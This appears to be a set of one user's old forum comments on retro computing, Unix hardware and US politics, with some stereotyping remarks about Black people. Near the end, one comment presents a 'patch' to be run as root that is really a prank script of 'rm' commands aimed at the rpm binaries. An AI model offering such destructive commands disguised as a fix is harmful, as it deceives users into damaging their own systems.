All the former Mac fanatics who I know have switched to Wintel.
But I am talking about old school Mac fanatics, and I really don't know much of anybody still using a Mac for anything. (I have a couple of 'toy' SE/30's for running NetBSD and that nearly sums up all the exposure to Mac-users I have, heh)
Was it fun throwing weighted fishooks at the
police when Deng came to DC back in 1979?
Have you reintegrated the Revolutionary
Workers Headquarters cadre yet? Their
student front group, the PSO (Progressive Student
Organization) is one of the strongest MLM front
groups in the country, you should assimilate them
if possible.
There is no single 'popular vote' in the United States.
There are some fifty-odd 'popular votes' (one per state, plus certain territorial bodies). It's only when a bunch of journalists start playing with the numbers that form the outcome of all those many popular votes that a 'national popular vote' is contrived.
The 'popular vote for President' arguement is bullshit. Both sides in the recent election admitted that fact in the way that they emphasized the outcome in Florida, the state whose 'popular vote' ended up being pivotal in the Electoral College.
If you don't understand the way a Constituional Republic operates, ask questions. Don't just parade your ignorance in a public forum.
Whe PBS goes under, the 'gems' of the network which have value will be passed on to commercial interests. Who will fill the need. Right now the PBS monopoly saturates that market and makes it difficult for the private networks to compete.
PBS is an intellectual ghetto, and needs to be bulldozed.
Auto companies bought and dismantled mass transit systems across the U.S. in the last century. If you really want, I can dust of my old Sociology textbook where I read about this.
It figures that you would have read that old folklore in a 'Sociology' textbook. I heard it too, from Liberal history/economics professors in college.
The streetcars were very unpopular at the time. The metal tracks down the middle of the road screwed up automobile traffic (which was growing in popularity). The big lumbering things were in the way of everybody, and in the way of progress. People hated them.
Rest assured you won't read both sides of the history in any sociology texts. You'll instead read more halfbaked theories about the plight of 'Urban Sprawl' and other bogeyman scenarios from the (small 's') socialists.
At least in some usages, it stands for 'spelling incorrect.' When you're literally quoting a bonehead and don't want the bad spelling to reflect on you (sic) is an acceptable annotation.
The stereotypical 'black folk' are Jesse Jackson's rent-a-crowd type.
There are a wide spectrum of black people in this country. Alan Keyes and Clarence Thomas are black, for instance. But since they don't fit well into the Liberal stereotype of what black people are about, they are dismissed as 'Uncle Tom.'
In order to be 'stung' by RPM's I would have to have the 'rpm' binary installed on my machines. Since I don't allow that program near any of my filesystems I've never been stung by it.
I should say it bit me a few times back with Red Hat 5.1, though not from a security standpoint. More from a 'we want to be the new Microsoft, we know better than you what should be done to your system' point of view.

Pentium IV study

Part of my point was that I don't strip motherboards out of cases and throw them away. I buy a new case, a new motherboard/processor, and put the old system to use somewhere else on the network. In other words, who cares if P4 requires a different case? The thrust of what I was trying to say was I don't overclock because the machine should last a long time before needing to be junked. The K6-2's I have are in AT footprint cases, anyway. They make okay NFS servers in the basement for aux. storage, etc. They certainly were disappointing desktop machines.
S-100 and Z80 is 'old school'. Although you'll find PDP-8 and LSI-11 enthusiasts who sneer at the very idea.
I ran Windows 2.1 on an 8088 processor. And that isn't even 'old school.'
I saved up to get a 386 processor (actually ended up salvaging one out of a dead Northgate motherboard) so I could run Windows 3.1 in Enhanced mode (yes, I ran Windows 3.1 for quite awhile on a 286-12 with 4 megs. It wasn't unsual at all at the time). I remember lusting after the EGA monitor that I couldn't (or wouldn't) afford. Hercules graphics ruled.
Hell, I can remember buying salvaged (solder-pot cleaned) 256Kx1 RAM chips for $7 each and thinking what a good deal I had gotten.
My first 'terminal' for BBSing was a DecWriter printing terminal and an acoustic coupler, before I could afford any kind of processor at all. (programming was what I did on my programmable calculator).
I think (please do correct me gently on this if I am wrong) that the Blade 100 can't run with just any random SCSI card plugged into it. Don't you have to buy a Sun SCSI card, which is kind of pricey?
One of the things that's turned me off to Solaris (I have quite an assortment of older Sparc hardware) is that you don't get an ANSI C compiler in the free deal. I could run Solaris and bring in GCC, but I'd rather just run NetBSD on the hardware instead (although I do hope for cgfourteen support in NetBSD before too much longer).
Why don't the companies that are going out of business release the development tools to the public.
When companies go out of business their assets are liquidated and sold to pay off the creditors. The development tools usually represent at least a certain amount of value, and so can not be given away. When a company is failing, the last thing on their mind is to package up the toolchain in a form they can give away for free to an unknown third party.
Hey, Horowitz was there. From the beginning of the Berkeley scene in the early 60's. His book 'Student' in 1962 was pivotal. His more recent books are just as relevant. If you want to present all sides of the history, you have to be open to all who were involved.
Horowizt delivers a message completely free of Racism. The racists these days are the people trying to garner special privledges and renumeration for certain people based on their race.
It's fine to explore this era of history, and great that Berkeley has done a comprehensive job of covering one side of the story so well. But it's important to remember there are always two sides of the issue. For a point of view from someone who was on the side of the 'rebels' during this period, but who has had a lot of second thoughts, read some of these well thought outperspectives on the history of this movement. I was a 'student radical' at the U of Minnesota in the late 70's. I even called the U of M Board of Regents 'Motherfuckers' once on a bullhorn. I've changed my opinion, and now think I was a damn fool back then. Make sure you look at both sides and don't get involved in foolish adventurism.

Yeah, but you can buy two of the AMD chips for the price of the Intel chip, and then with SMP you can...... Uh... oh, never mind....

You aren't Intel-free if you're running an Intel-clone processor.
You want to run Sparc or PPC hardware (or PA-RISC or Mips.) Or Alpha or StrongARM although both those are slightly tainted-by-association with Intel.
Ah, you are the Avakianites.

Does your newspaper still suck?

Do you embrase Marist-Leninist-Mao Zedong

And what about Trotsky?

Do your cadre who are 'young looking' have to

Actually, free speech appears to be the right to
ignorantly distort other people's message.
I agree. Government leasing of spectrum would clear up the issue.
Since Analog broadcast uses a huge amount of bandwidth to broadcast a single channel of information, it would immediately cease to exist.
Problem solved.

I know some real capital 'C' communists.
Liberals are not Communists.
They're immature conservatives in need of guidance while they mature.

Why?
Why is PBS a vital part of our broadcasting?
It might have been twenty years ago before all the cable channels with educational/public affairs content.
Now it's redundant and, frankly, near obsolete.
There's a patch you can run to protect against many of the hazards of RPMs. It has to be run as Root, unfortunately. Here it is:
/bin/sh
/usr/bin/rpm
/bin/rpm
/sbin/rpm
/usr/sbin/rpm
/usr/local/bin/rpm
/usr/local/sbin/rpm
-------------begin script-----------
#!
rm -F
rm -F
rm -F
rm -F
rm -F
rm -F
exit 0
-------------end of script-----------
There may be a few additional tweaks you need to make this script run properly on your system.

Take off your blinders. Get a clue.
The Trotskyites sure thought so. They never let me speak at a rally again.
The old saying was 'Be careful, you'll offend the liberals'

Gack!
There really still are people out there with the 'whatever, just frag Microsoft while you're doing it, kay?' attitude.
I like to think that we don't need our primary focus to be hatred.
